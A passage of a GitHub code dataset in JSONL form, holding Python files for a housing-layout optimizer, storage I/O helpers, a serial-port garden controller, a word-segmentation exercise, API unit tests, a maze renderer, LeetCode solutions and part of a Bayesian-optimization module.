houses.\n        percBun         float       Required percentage bungalows.\n        percMai         float       Required percentage maisons.\n        nrSfh           integer     Required number of single family houses.\n        nrBun           integer     Required number of bungalows.\n        nrMai           integer     Required number of maisons.\n        houses          array       List with houses.\n        waters          array       List with waters.\n    \"\"\"\n\n    def __init__(self, variant):\n        \"\"\" Initializes the terrain.\n            Args:       The variant (20, 40 or 60).\n            Returns:    The setup of the project, with all waters and houses.\n        \"\"\"\n        self.variant = variant\n        self.score = 0\n        self.validConfig = False\n        self.length = 360\n        self.width = 320\n        self.area = self.length * self.width\n        self.grid = np.array([[0] * self.length] * self.width)\n        self.minNrWaters = 1\n        self.maxNrWaters = 4\n        self.nrWaters = random.randint(self.minNrWaters, self.maxNrWaters)\n        self.waterArea = 0.2 * self.area\n        self.lowBndRatio = 1\n        self.upBndRatio = 4\n        self.percSfh = 0.6\n        self.percBun = 0.25\n        self.percMai = 0.15\n        self.nrSfh = int(self.percSfh * self.variant)\n        self.nrBun = int(self.percBun * self.variant)\n        self.nrMai = int(self.percMai * self.variant)\n        self.houses = []\n        self.waters = []\n        self.initialiseObjects()\n\n    def initialiseObjects(self):\n        \"\"\" Initialises all objects for the project. (the houses and waters)\n            Args:       None\n            Returns:    True,\n                        has the side effect that the arrays houses and waters\n                        get filled.\n        \"\"\"\n        for i in range(self.nrSfh):\n            house = AmstelhaegeObject(285000, 0.03, 4, 16, 16)\n            self.houses.append(house)\n        for i in range(self.nrBun):\n            house = AmstelhaegeObject(399000, 0.04, 6, 20, 15)\n            self.houses.append(house)\n        for i in range(self.nrMai):\n            house = AmstelhaegeObject(610000, 0.06, 12, 22, 21)\n            self.houses.append(house)\n        for i in range(self.nrWaters):\n            water = AmstelhaegeObject(0, 0, 1, 0, 0)\n            self.waters.append(water)\n        return True\n\n    def resetSetup(self):\n        \"\"\" Resets appropriate fields in this class.\n            Args:       None\n            Returns:    True\n        \"\"\"\n        self.grid = np.array([[0] * self.length] * self.width)\n        self.waters = []\n        self.houses = []\n        self.initialiseObjects()\n        self.score = 0\n        return True\n\n    def plotSetup(self):\n        \"\"\" Creates a plot of the current configuration.\n            Args:       The setup of the project.\n            Returns:    A matplotlib image of the terrain.\n        \"\"\"\n        # draw waters (min, max are used to ensure ranges are within area)\n        for water in self.waters:\n            for j in range(max(0, water.x1), min(water.x2, self.length)):\n                for k in range(max(0, water.y1), min(water.y2, self.width)):\n                    self.grid[k][j] = 1\n\n        # draw houses\n        for i in range(self.variant):\n            h = self.houses[i]\n\n            # choose color\n            if h.price == 285000:\n                color = 2\n            elif h.price == 399000:\n                color = 3\n            elif h.price == 610000:\n                color = 4\n\n            # draw house (min, max are used to ensure ranges are within area)\n            for j in range(max(0, h.x1), min(h.x2, self.length)):\n                for k in range(max(0, h.y1), min(h.y2, self.width)):\n                    self.grid[k][j] = color\n\n        # colors mean respectively:\n        # grass, water, single family house, bungalow, maison\n        cmap = colors.ListedColormap([\"mediumseagreen\", \"dodgerblue\",\n                                      \"red\", \"orange\", \"purple\"])\n        bounds = [0, 1, 2, 3, 4, 5]\n        norm = colors.BoundaryNorm(bounds, cmap.N)\n\n        # make title\n        if self.validConfig:\n            title_obj = plt.title(\"Score: {:,.2f}\".format(self.score))\n        else:\n            title_obj = plt.title(\"INVALID score: {:,.2f}\".format(self.score))\n        plt.imshow(self.grid, norm=norm, cmap=cmap)\n\n        # reset grid for next plot\n        self.grid = np.array([[0] * self.length] * self.width)\n\n        # show the image\n        plt.show()\n","repo_name":"OrinHabich/amstelhaege","sub_path":"code/classes/amstelhaegeSetup.py","file_name":"amstelhaegeSetup.py","file_ext":"py","file_size_in_byte":6117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"346065815","text":"import os\nimport io\nimport json\nimport oss2\nimport cv2\nimport configparser\nimport enum\nimport numpy as np\n\nfrom PIL import Image\nfrom typing import Any, Union, Dict, List, Tuple\nfrom multiprocessing import Queue, Process, Pool\nfrom loguru import logger\n\n\nclass StoreType(enum.Enum):\n\n    def __new__(cls, *args, **kwargs):\n        value = len(cls.__members__) + 1\n        obj = object.__new__(cls)\n        obj._value_ = value\n        return obj\n\n    def __init__(self, type_name: str):\n        self.type_name = type_name\n\n    LOCAL = \"local\"\n    OSS = \"oss\"\n\n\nclass DataType(enum.Enum):\n\n    def __new__(cls, *args, **kwargs):\n        value = len(cls.__members__) + 1\n        obj = object.__new__(cls)\n        obj._value_ = value\n        return obj\n\n    def __init__(self, type_name: str):\n        self.type_name = type_name\n\n    BYTES = \"bytes\"\n    IMAGE = \"image\"\n    NUMPY = \"numpy\"\n    JSON = \"json\"\n    # do nothing, just return input\n    DUMMY = \"dummy\"\n\n\ndef read_oss_config(path: str) -> Dict[str, Any]:\n    oss_src_config = configparser.ConfigParser()\n    oss_src_config.read(os.path.expanduser(path))\n    return oss_src_config['Credentials']\n\n\ndef create_oss_bucket(oss_config: Union[Dict[str, str], str]) -> oss2.Bucket:\n    if isinstance(oss_config, str):\n        oss_config = read_oss_config(oss_config)\n\n    auth = oss2.Auth(oss_config['accessKeyID'], oss_config['accessKeySecret'])\n\n    return oss2.Bucket(auth, endpoint=oss_config['endpoint'], bucket_name=oss_config['bucket'])\n\n\nclass Reader(object):\n    def read(self, path):\n        raise NotImplementedError\n\n\ndef oss_read(bucket, key, oss_root=None):\n    path = os.path.join(oss_root, key) if oss_root else key\n    data_bytes = bucket.get_object(path).read()\n    return data_bytes\n\n\nclass OssReader(Reader):\n    def __init__(self, oss_config: str):\n        self.bucket = create_oss_bucket(oss_config)\n\n    def read(self, path):\n        return oss_read(self.bucket, path)\n\n\nclass LocalReader(Reader):\n    def read(self, path):\n        return open(path, 'rb').read()\n\n\nclass DummyReader(Reader):\n    def __init__(self, reader: Reader):\n        self.reader = reader\n\n    def read(self, path):\n        return path\n\n\nclass BytesReader(Reader):\n    def __init__(self, reader: Reader):\n        self.reader = reader\n\n    def read(self, path):\n        return self.reader.read(path)\n\n\nclass ImageReader(Reader):\n    def __init__(self, reader: Reader):\n        self.reader = reader\n\n    def read(self, path) -> np.ndarray:\n        return Image.open(io.BytesIO(self.reader.read(path)))\n\n\nclass NumpyReader(Reader):\n    def __init__(self, reader: Reader):\n        self.reader = reader\n\n    def read(self, path) -> Union[np.ndarray, dict]:\n        if path.endswith(\"npz\"):\n            with np.load(io.BytesIO(self.reader.read(path))) as data:\n                return dict(data)\n        return np.load(io.BytesIO(self.reader.read(path)))\n\n\nclass JsonReader(Reader):\n    def __init__(self, reader: Reader):\n        self.reader = reader\n\n    def read(self, path) -> Union[np.ndarray, dict]:\n        return json.load(io.BytesIO(self.reader.read(path)))\n\n\ndef build_reader(store_type: str, data_type: str, **kwargs) -> Reader:\n    if store_type == StoreType.LOCAL.type_name:\n        reader = LocalReader()\n    elif store_type == StoreType.OSS.type_name:\n        reader = OssReader(**kwargs)\n    else:\n        raise ValueError(f\"Unknown store type: {store_type}\")\n\n    if data_type == DataType.BYTES.type_name:\n        return BytesReader(reader)\n    elif data_type == DataType.IMAGE.type_name:\n        return ImageReader(reader)\n    elif data_type == DataType.NUMPY.type_name:\n        return NumpyReader(reader)\n    elif data_type == DataType.JSON.type_name:\n        return JsonReader(reader)\n    elif data_type == DataType.DUMMY.type_name:\n        return DummyReader(reader)\n    else:\n        raise ValueError(f\"Unknown data type: {data_type}\")\n\n\nclass Writer(object):\n    def write(self, path: str, data: Any):\n        raise NotImplementedError\n\n\nclass OssWriter(Writer):\n    def __init__(self, oss_config: str):\n        self.bucket = create_oss_bucket(oss_config)\n\n    def write(self, path, data: bytes):\n        return self.bucket.put_object(path, data)\n\n\nclass LocalWriter(Writer):\n    def write(self, path, obj: bytes):\n        return open(path, 'wb').write(obj)\n\n\nclass BytesWriter(Writer):\n    def __init__(self, writer: Writer):\n        self.writer = writer\n\n    def write(self, path: str, data: Union[bytes, str]):\n        if isinstance(data, str):\n            data = data.encode('utf-8')\n        return self.writer.write(path, data)\n\n\nclass ImageWriter(Writer):\n    def __init__(self, writer: Writer):\n        self.writer = writer\n\n    def write(self, path: str, data: np.ndarray):\n        ext = os.path.splitext(path)[-1]\n        ret, img = cv2.imencode(ext, data)\n        return self.writer.write(path, img.tobytes())\n\n\nclass NumpyWriter(Writer):\n    def __init__(self, writer: Writer):\n        self.writer = writer\n\n    def write(self, path:str, data: Union[np.ndarray, dict]):\n        output = io.BytesIO()\n\n        if path.endswith(\"npz\"):\n            if isinstance(data, list):\n                np.savez(output, *data)\n            elif isinstance(data, dict):\n                np.savez(output, **data)\n            else:\n                raise ValueError('invalid type: {} to save to {}', type(data), path)\n        else:\n            if isinstance(data, np.ndarray):\n                np.save(output, data)\n            else:\n                raise ValueError('invalid type: {} to save to {}', type(data), path)\n        output = output.getvalue()\n\n        return self.writer.write(path, output)\n\n\nclass JsonWriter(Writer):\n    def __init__(self, writer: Writer):\n        self.writer = writer\n\n    def write(self, path: str, data: Union[List, Dict, bytes]):\n        if isinstance(data, list) or isinstance(data, dict):\n            output = json.dumps(data, ensure_ascii=False).encode(encoding='utf-8')\n        elif isinstance(data, bytes):\n            output = data\n        elif isinstance(data, str):\n            output = data.encode('utf-8')\n        else:\n            raise ValueError('invalid type: {} to save to {}', type(data), path)\n\n        return self.writer.write(path, output)\n\n\ndef build_writer(store_type: str, data_type: str, **kwargs) -> Writer:\n    if store_type == StoreType.LOCAL.type_name:\n        writer = LocalWriter()\n    elif store_type == StoreType.OSS.type_name:\n        writer = OssWriter(**kwargs)\n    else:\n        raise ValueError(f\"Unknown store type: {store_type}\")\n\n    if data_type == DataType.BYTES.type_name:\n        return BytesWriter(writer)\n    elif data_type == DataType.IMAGE.type_name:\n        return ImageWriter(writer)\n    elif data_type == DataType.NUMPY.type_name:\n        return NumpyWriter(writer)\n    elif data_type == DataType.JSON.type_name:\n        return JsonWriter(writer)\n    else:\n        raise ValueError(f\"Unknown data type: {data_type}\")\n\n\nclass AsyncWriter(object):\n    def __init__(self, pool_size: int, store_type: str, data_type: str, **config):\n        self.pool_size = pool_size\n        self.writer = build_writer(store_type=store_type, data_type=data_type, **config)\n\n        self.in_queue = Queue()\n        self.eof_sig = [None, None]\n\n        def worker_loop(writer: Writer, in_queue: Queue):\n            while True:\n                path, data = in_queue.get()\n\n                if path is None and data is None:\n                    logger.info(\"Finish processing, exit...\")\n                    break\n\n                writer.write(path, data)\n\n        self.workers = []\n        for _ in range(self.pool_size):\n            p = Process(target=worker_loop, args=(self.writer, self.in_queue))\n            p.start()\n            self.workers.append(p)\n\n    def consume(self, data: Tuple[str, Any]):\n        self.in_queue.put(data)\n\n    def stop(self):\n        for _ in range(self.pool_size):\n            self.in_queue.put(self.eof_sig)\n\n        for p in self.workers:\n            p.join()\n","repo_name":"ant-research/VCSL","sub_path":"vcsl/utils/ioutil.py","file_name":"ioutil.py","file_ext":"py","file_size_in_byte":8005,"program_lang":"python","lang":"en","doc_type":"code","stars":96,"dataset":"github-code","pt":"16"}
+{"seq_id":"72798882887","text":"#########################################################################################\n##  Main Jardin Ingenia                                                                 #\n##                                                                                      #\n##  execute in terminal: python main.py sys.argv[1]                                     #\n##                                                                                      #\n##  sys.argv[1] = name of the serial port to use. Example: /dev/ttyUSB0                 #\n##                                                                                      #\n##                                                                                      #\n#########################################################################################\n\nimport Comunicacion\nimport time\nimport threading\nimport ThreadHandler\nimport graphic\nimport Logue\nimport Jardin\nimport sys\n\nBAUD_RATE = 9600\n\ndef open_threads():\n    hilo_recepcion.start()\n    time.sleep(0.05)\n    hilo_envio.start()\n    time.sleep(0.05)\n#    hilo_grafico.start()\n#    time.sleep(0.05)\n    hilo_Logue.start()\n    time.sleep(0.05)   \n\ndef close_threads():\n    hilo_recepcion.stop_thread()\n    time.sleep(0.05)\n    hilo_envio.stop_thread()\n    time.sleep(0.05)\n#    hilo_grafico.stop_thread()\n#    time.sleep(0.05)\n    hilo_Logue.stop_thread()\n    time.sleep(0.05)\n\ncom = Comunicacion.Comunicacion(sys.argv[1],BAUD_RATE)\njardin = Jardin.jardin(com)\ngrafico = graphic.grafico(jardin)\nLogue = Logue.Logue(jardin)\nhilo_recepcion = ThreadHandler.ThreadHandler(com.receive, \"Hilo de recepcion\")\nhilo_envio = ThreadHandler.ThreadHandler(com.send, \"Hilo de envio\")\nhilo_grafico = ThreadHandler.ThreadHandler(grafico.run, \"Hilo Grafico\")\nhilo_Logue = ThreadHandler.ThreadHandler(Logue.run, \"Hilo Datos\")\nopen_threads()\ntime.sleep(60)\nclose_threads()\n","repo_name":"leoborgnino/jardingenia","sub_path":"PythonScript/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71100795207","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Apr 10 22:54:40 2020\r\n\r\n@author: douzi\r\n\"\"\"\r\n\r\ndef readFile(url):\r\n    with open(url, 'r+', encoding='utf8') as f:\r\n        data = f.read()\r\n        txt = data.split('\\n')\r\n        \r\n    return txt\r\n\r\ndef splitEssay(sentence, words):\r\n    start, sen_len = 0, len(sentence)\r\n    res = []\r\n    while start <= sen_len:\r\n        for k in range(20, 0, -1):\r\n            if sentence[start : start + k] in words:\r\n                res.append(sentence[start : start + k])\r\n                break\r\n        start += k\r\n    return res\r\n\r\ndef main():\r\n    words = readFile('./file/file_2016_yan_word.txt')\r\n    print(\"词典: \", words)\r\n    \r\n    essay = readFile('./file/file_2016_yan_input.txt')\r\n    print(\"无空格文章: \", essay)\r\n    \r\n    for word in words[-3:]:\r\n        print(word)\r\n        \r\n    first = splitEssay(essay[0], words)\r\n    last = splitEssay(essay[-1], words)\r\n    \r\n    print(\"\\n文章第一行: {0}\\n\".format(' '.join(first)))\r\n    print(\"文章最后一行: {0}\\n\".format(' '.join(last)))\r\n    \r\n    \r\nmain()","repo_name":"douzujun/Python-Foundation-Suda","sub_path":"苏大上机代码/python_project/03_历年真题期末期中/RealExercise3/py15_yan_2016.py","file_name":"py15_yan_2016.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"16"}
+{"seq_id":"35480290312","text":"import json\nfrom unittest import TestCase, mock\n\nfrom rm_reporting import app\n\n\nclass Row(object):\n    \"\"\"\n    This is going represent a row returned from SqlAlchemy.  It's not a true representation, but creating a LegacyRow\n    in a matching format is incredibly difficult.  We'll just setattr what we need against it, and then it becomes a\n    close enough approximation\n    \"\"\"\n\n    pass\n\n\nclass TestResponseDashboard(TestCase):\n    def setUp(self):\n        self.test_client = app.test_client()\n\n    @mock.patch(\"rm_reporting.resources.responses_dashboard.get_report_figures\")\n    def test_dashboard_report_success(self, mock_reporting_figures):\n        mock_reporting_figures.return_value = {\n            \"sampleSize\": 100,\n            \"accountsEnrolled\": 50,\n            \"accountsPending\": 10,\n            \"notStarted\": 70,\n            \"inProgress\": 20,\n            \"completed\": 10,\n        }\n        response = self.test_client.get(\n            \"/reporting-api/v1/response-dashboard/survey/57586798-74e3-49fd-93da-a782ec5f5129\"\n            \"/collection-exercise/33db9feb-bed0-46e8-bcb1-3a0373224cd3\"\n        )\n        response_dict = json.loads(response.data)\n\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(100, response_dict[\"report\"][\"sampleSize\"])\n        self.assertEqual(50, response_dict[\"report\"][\"accountsEnrolled\"])\n        self.assertEqual(10, response_dict[\"report\"][\"accountsPending\"])\n        self.assertEqual(10, response_dict[\"report\"][\"completed\"])\n        self.assertEqual(20, response_dict[\"report\"][\"inProgress\"])\n        self.assertEqual(70, response_dict[\"report\"][\"notStarted\"])\n\n    @mock.patch(\"rm_reporting.controllers.case_controller.get_exercise_completion_stats\")\n    def test_dashboard_report_invalid_id(self, mock_function):\n        returned_row = Row()\n        setattr(returned_row, \"Sample Size\", 0)\n        setattr(returned_row, \"In Progress\", 0)\n        setattr(returned_row, \"Not Started\", 0)\n        setattr(returned_row, \"Complete\", 0)\n\n        mock_function.return_value = [returned_row]\n        response = self.test_client.get(\n            \"/reporting-api/v1/response-dashboard/survey/57586798-74e3-49fd-93da-a782ec5f5129\"\n            \"/collection-exercise/00000000-0000-0000-0000-000000000000\"\n        )\n        error_response = json.loads(response.data)[\"message\"]\n\n        self.assertEqual(response.status_code, 404)\n        self.assertEqual(error_response, \"Invalid collection exercise or survey ID\")\n\n    def test_dashboard_report_malformed_collection_exercise_id(self):\n        response = self.test_client.get(\n            \"/reporting-api/v1/response-dashboard/survey/57586798-74e3-49fd-93da-a782ec5f5129\"\n            \"/collection-exercise/not-a-valid-uuid-format\"\n        )\n        error_response = json.loads(response.data)[\"message\"]\n\n        self.assertEqual(response.status_code, 400)\n        self.assertEqual(error_response, \"Malformed collection exercise ID\")\n\n    def test_dashboard_report_malformed_survey_id(self):\n        response = self.test_client.get(\n            \"/reporting-api/v1/response-dashboard/survey/not-a-valid-uuid-format\"\n            \"/collection-exercise/33db9feb-bed0-46e8-bcb1-3a0373224cd3\"\n        )\n        error_response = json.loads(response.data)[\"message\"]\n\n        self.assertEqual(response.status_code, 400)\n        self.assertEqual(error_response, \"Malformed survey ID\")\n","repo_name":"ONSdigital/rm-reporting","sub_path":"test/resources/test_responses_dashboard.py","file_name":"test_responses_dashboard.py","file_ext":"py","file_size_in_byte":3391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32077203596","text":"import pygame\n\nclass MazeRender():\n    def __init__(self, screem_maze, terminal_maze, screem_maze_size, sizes, screem_maze_solve, terminal_maze_solve):\n        self.screem_maze = screem_maze\n        self.terminal_maze = terminal_maze\n        self.screem_maze_size = screem_maze_size\n        self.sizes = sizes\n        self.screem_maze_solve = screem_maze_solve\n        self.terminal_maze_solve = terminal_maze_solve\n    \n    def draw_screem_maze(self, start, end, colors, window):\n        for walls in self.screem_maze:\n            for wall in walls:\n                wall.draw_wall(window)\t\n                if(wall.get_index() == start):\n                    x, y = wall.get_position()\n                    pixel_size = self.sizes[self.screem_maze_size]['pixel_size']\n                    pygame.draw.circle(window, colors['BLUE'], (x + pixel_size // 2, y + pixel_size // 2), 7)\n                if(wall.get_index() == end):\n                    x, y = wall.get_position()\n                    pixel_size = self.sizes[self.screem_maze_size]['pixel_size']\n                    pygame.draw.circle(window, colors['RED'], (x + pixel_size // 2, y + pixel_size // 2), 7)\n\n    def wall_list(self):\n        wall_list = []\n        for walls in self.screem_maze:\n            for wall in walls:\n                wall_list.append(wall)\n        return wall_list\n\n    def verifiy_direction_path(self, frist_wall_position, second_wall_position, maze):\n        if  (second_wall_position[0] == frist_wall_position[0] and second_wall_position[1] >= frist_wall_position[1]): # RIGHT\n            return 'RIGHT'\n        elif(second_wall_position[0] == frist_wall_position[0] and second_wall_position[1] <= frist_wall_position[1]): # LEFT\n            return 'LEFT'\n        elif(second_wall_position[0] <= frist_wall_position[0] and second_wall_position[1] == frist_wall_position[1]): # TOP\n            return 'TOP'\n        elif(second_wall_position[0] >= frist_wall_position[0] and second_wall_position[1] == frist_wall_position[1]): # BOTTOM\n            return 'BOTTOM'\n        else:\n            print(f'>>> verify-direction-error >>> fst:{frist_wall_position} - snd:{second_wall_position}')\n            print(maze)\n            print('\\n')\n\n    def draw_screem_maze_solve(self, start, end, colors, window):\n        pixel_size = self.sizes[self.screem_maze_size]['pixel_size']\n        for i in range(1, len(self.screem_maze_solve)):\n            frist = self.screem_maze_solve[i-1]\n            second = self.screem_maze_solve[i]\n            frist_wall = None\n            second_wall = None\n            for wall in self.wall_list():\n                wall_pos = wall.get_index()\n                if(wall_pos == frist):\n                    frist_wall = wall\n                elif(wall_pos == second):\n                    second_wall = wall\n                else:\n                    continue\n            direction = self.verifiy_direction_path(frist, second, self.screem_maze_solve)\n            if(frist_wall is not None):\n                frist_wall.draw_path(direction, window)\n            if(frist_wall is not None and frist_wall.get_index() == start):\n                x, y = frist_wall.get_position()\n                pygame.draw.circle(window, colors['BLUE'], (x + pixel_size//2, y + pixel_size//2), 7)\n            if(second_wall is not None and second_wall.get_index() == end):\n                x, y = second_wall.get_position()\n                pygame.draw.circle(window, colors['RED'], (x + pixel_size//2, y + pixel_size//2), 7) \n    \n    def draw_terminal_maze(self, show_solve=False, start=None, end=None):\n        RED   = \"\\033[1;31m\"  \n        BLUE  = \"\\033[1;34m\"\n        GREEN = \"\\033[0;32m\"\n        RESET = \"\\033[0;0m\"\n        REVERSE = \"\\033[;7m\"\n\n        if (not show_solve): \n            print(f'Maze ({self.screem_maze_size[1]}x{self.screem_maze_size[0]})\\n')\n        else:\n            print(f'Maze ({self.screem_maze_size[1]}x{self.screem_maze_size[0]}) - Solve\\n')\n        \n        for i in range(0, len(self.terminal_maze)):\n            for j in range(0, len(self.terminal_maze[i])):\n                pixel = self.terminal_maze[i][j]\n                if((i,j) == start):\n                    print(BLUE + '1 ' + RESET, end='')\n                elif((i,j) == end):\n                    print(GREEN + '1 ' + RESET, end='')\n                elif((i,j) in self.terminal_maze_solve and show_solve):\n                    print(REVERSE + '1 ' + RESET, end='')\n                else:\n                    if(not pixel):\n                        print(RED + '0 ' + RESET, end='')\n                    else:\n                        print('1 ' + RESET, end='')\n            print('' + RESET)\n        print('\\n')\n\nif __name__ == \"__main__\" : print('MazeRender')","repo_name":"LuiggySilva/maze-generator","sub_path":"maze/MazeRender.py","file_name":"MazeRender.py","file_ext":"py","file_size_in_byte":4717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26142692370","text":"# top-down DP\nclass Solution:\n    def findPaths(self, m: int, n: int, maxMove: int, startRow: int, startColumn: int) -> int:\n        MOD = int(1e9+7)\n        dirs = [[-1,0], [1,0], [0, 1], [0, -1]]\n\n        @lru_cache(None)\n        def dfs(r, c, move):\n            if move > maxMove: return 0\n            if r < 0 or r == m or c < 0 or c == n:\n                if move <= maxMove:\n                    return 1\n                else:\n                    return 0\n\n            res = 0\n            for dr, dc in dirs:\n                row, col = r+dr, c+dc\n                res += dfs(row, col, move+1)\n                res %= MOD\n            return res\n        return dfs(startRow, startColumn, 0)\n    \nclass Solution:\n    def findPaths(self, m: int, n: int, maxMove: int, startRow: int, startColumn: int) -> int:\n        MOD = int(1e9+7)\n        dirs = [[-1,0], [1,0], [0, 1], [0, -1]]\n\n        dp = [[[0]*(maxMove+1) for _ in range(n+2)] for _ in range(m+2)]\n        for r in range(m+2):\n            for move in range(maxMove+1):\n                dp[r][0][move] = 1\n                dp[r][n+1][move] = 1\n        for c in range(n+1):\n            for move in range(maxMove+1):\n                dp[0][c][move] = 1\n                dp[m+1][c][move] = 1\n        \n        for move in range(1, maxMove+1):\n            for r in range(1, m+1):\n                for c in range(1, n+1):\n                    for dr, dc in dirs:\n                        row, col = r+dr, c+dc\n                        dp[r][c][move] += dp[row][col][move-1]\n                        dp[r][c][move] %= MOD\n        return dp[startRow+1][startColumn+1][maxMove]","repo_name":"Vergil0327/leetcode-history","sub_path":"2-D Dynamic Programming/Maze/576. Out of Boundary Paths/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25491578059","text":"r\"\"\"\nThis module contains functionality for optimizing\n:data:`~trieste.acquisition.AcquisitionFunction`\\ s over :class:`~trieste.space.SearchSpace`\\ s.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport copy\nfrom typing import Any, Callable, List, Optional, Tuple, TypeVar, Union\n\nimport gpflow\nimport greenlet as gr\nimport numpy as np\nimport scipy\nimport scipy.optimize as spo\nimport tensorflow as tf\nimport tensorflow_probability as tfp\n\nfrom ..space import Box, DiscreteSearchSpace, SearchSpace, TaggedProductSearchSpace\nfrom ..types import TensorType\nfrom .interface import AcquisitionFunction\n\nSP = TypeVar(\"SP\", bound=SearchSpace)\n\"\"\" Type variable bound to :class:`~trieste.space.SearchSpace`. \"\"\"\n\n\nNUM_SAMPLES_MIN: int = 5000\n\"\"\"\nThe default minimum number of initial samples for :func:`generate_continuous_optimizer` and\n:func:`generate_random_search_optimizer` function, used for determining the number of initial\nsamples in the multi-start acquisition function optimization.\n\"\"\"\n\n\nNUM_SAMPLES_DIM: int = 1000\n\"\"\"\nThe default minimum number of initial samples per dimension of the search space for\n:func:`generate_continuous_optimizer` function in :func:`automatic_optimizer_selector`, used for\ndetermining the number of initial samples in the multi-start acquisition function optimization.\n\"\"\"\n\nNUM_RUNS_DIM: int = 10\n\"\"\"\nThe default minimum number of optimization runs per dimension of the search space for\n:func:`generate_continuous_optimizer` function in :func:`automatic_optimizer_selector`, used for\ndetermining the number of acquisition function optimizations to be perfomed in parallel.\n\"\"\"\n\nOptimizeResult = Union[scipy.optimize.OptimizeResult, None]\n\"\"\"\nOptimization result. TensorFlow optimizer doesn't return any result. For scipy optimizer that is\nalso commonly used, it is :class:`~scipy.optimize.OptimizeResult`.\n\"\"\"\n\n\nclass FailedOptimizationError(Exception):\n    \"\"\"Raised when an acquisition optimizer fails to optimize\"\"\"\n\n\nAcquisitionOptimizer = Callable[[SP, AcquisitionFunction], TensorType]\n\"\"\"\nType alias for a function that returns the single point that maximizes an acquisition function over\na search space. For a search space with points of shape [D], and acquisition function with input\nshape [..., B, D] output shape [..., 1], the :const:`AcquisitionOptimizer` return shape should be\n[B, D].\n\"\"\"\n\n\ndef automatic_optimizer_selector(\n    space: SearchSpace, target_func: AcquisitionFunction, **kwargs_for_optimizer\n) -> TensorType:\n    \"\"\"\n    A wrapper around our :const:`AcquisitionOptimizer`s. This class performs\n    an :const:`AcquisitionOptimizer` appropriate for the\n    problem's :class:`~trieste.space.SearchSpace`.\n\n    :param space: The space of points over which to search, for points with shape [D].\n    :param target_func: The function to maximise, with input shape [..., 1, D] and output shape\n            [..., 1].\n    :return: The batch of points in ``space`` that maximises ``target_func``, with shape [1, D].\n    \"\"\"\n\n    if isinstance(space, DiscreteSearchSpace):\n        return optimize_discrete(space, target_func)\n\n    elif isinstance(space, (Box, TaggedProductSearchSpace)):\n        num_samples = (\n            tf.minimum(NUM_SAMPLES_MIN, NUM_SAMPLES_DIM * tf.shape(space.lower)[-1])\n            if \"num_initial_samples\" not in kwargs_for_optimizer\n            else kwargs_for_optimizer[\"num_initial_samples\"]\n        )\n        num_runs = (\n            NUM_RUNS_DIM * tf.shape(space.lower)[-1]\n            if \"num_optimization_runs\" not in kwargs_for_optimizer\n            else kwargs_for_optimizer[\"num_optimization_runs\"]\n        )\n        return generate_continuous_optimizer(\n            num_initial_samples=num_samples,\n            num_optimization_runs=num_runs,\n        )(space, target_func)\n\n    else:\n        raise NotImplementedError(\n            f\"\"\" No optimizer currentely supports acquisition function\n                    maximisation over search spaces of type {space}.\n                    Try specifying the optimize_random optimizer\"\"\"\n        )\n\n\ndef optimize_discrete(space: DiscreteSearchSpace, target_func: AcquisitionFunction) -> TensorType:\n    \"\"\"\n    An :const:`AcquisitionOptimizer` for :class:'DiscreteSearchSpace' spaces and\n    batches of size of 1.\n\n    :param space: The space of points over which to search, for points with shape [D].\n    :param target_func: The function to maximise, with input shape [..., 1, D] and output shape\n            [..., 1].\n\n    In order to alleviate the memry issue caused by large inference at the same time, we devided the inference data\n     number to smaller groups\n    :return: The **one** point in ``space`` that maximises ``target_func``, with shape [1, D].\n    \"\"\"\n    target_func_values = target_func(space.points[:, None, :])\n    max_value_idx = tf.argmax(target_func_values, axis=0)[0]\n    return space.points[max_value_idx : max_value_idx + 1]\n\n\ndef generate_continuous_optimizer(\n    num_initial_samples: int = NUM_SAMPLES_MIN,\n    num_optimization_runs: int = 10,\n    num_recovery_runs: int = 10,\n    optimizer_args: dict[str, Any] = dict(),\n) -> AcquisitionOptimizer[Box | TaggedProductSearchSpace]:\n    \"\"\"\n    Generate a gradient-based optimizer for :class:'Box' and :class:'TaggedProductSearchSpace'\n    spaces and batches of size 1. In the case of a :class:'TaggedProductSearchSpace', We perform\n    gradient-based optimization across all :class:'Box' subspaces, starting from the best location\n    found across a sample of `num_initial_samples` random points.\n\n    We advise the user to either use the default `NUM_SAMPLES_MIN` for `num_initial_samples`, or\n    `NUM_SAMPLES_DIM` times the dimensionality of the search space, whichever is greater.\n    Similarly, for `num_optimization_runs`, we recommend using `NUM_RUNS_DIM` times the\n    dimensionality of the search space.\n\n    This optimizer uses Scipy's L-BFGS-B optimizer. We run `num_optimization_runs` separate\n    optimizations in parallel, each starting from one of the best `num_optimization_runs` initial\n    query points.\n\n    If all `num_optimization_runs` optimizations fail to converge then we run\n    `num_recovery_runs` additional runs starting from random locations (also ran in parallel).\n\n    :param num_initial_samples: The size of the random sample used to find the starting point(s) of\n        the optimization.\n    :param num_optimization_runs: The number of separate optimizations to run.\n    :param num_recovery_runs: The maximum number of recovery optimization runs in case of failure.\n    :param optimizer_args: The keyword arguments to pass to the Scipy L-BFGS-B optimizer.\n        Check `minimize` method  of :class:`~scipy.optimize` for details of which arguments\n        can be passed.\n    :return: The acquisition optimizer.\n    \"\"\"\n    if num_initial_samples <= 0:\n        raise ValueError(f\"num_initial_samples must be positive, got {num_initial_samples}\")\n\n    if num_optimization_runs <= 0:\n        raise ValueError(f\"num_optimization_runs must be positive, got {num_optimization_runs}\")\n\n    if num_initial_samples < num_optimization_runs:\n        raise ValueError(\n            f\"\"\"\n            num_initial_samples {num_initial_samples} must be at\n            least num_optimization_runs {num_optimization_runs}\n            \"\"\"\n        )\n\n    if num_recovery_runs <= -1:\n        raise ValueError(f\"num_recovery_runs must be zero or greater, got {num_recovery_runs}\")\n\n    def optimize_continuous(\n        space: Box | TaggedProductSearchSpace,\n        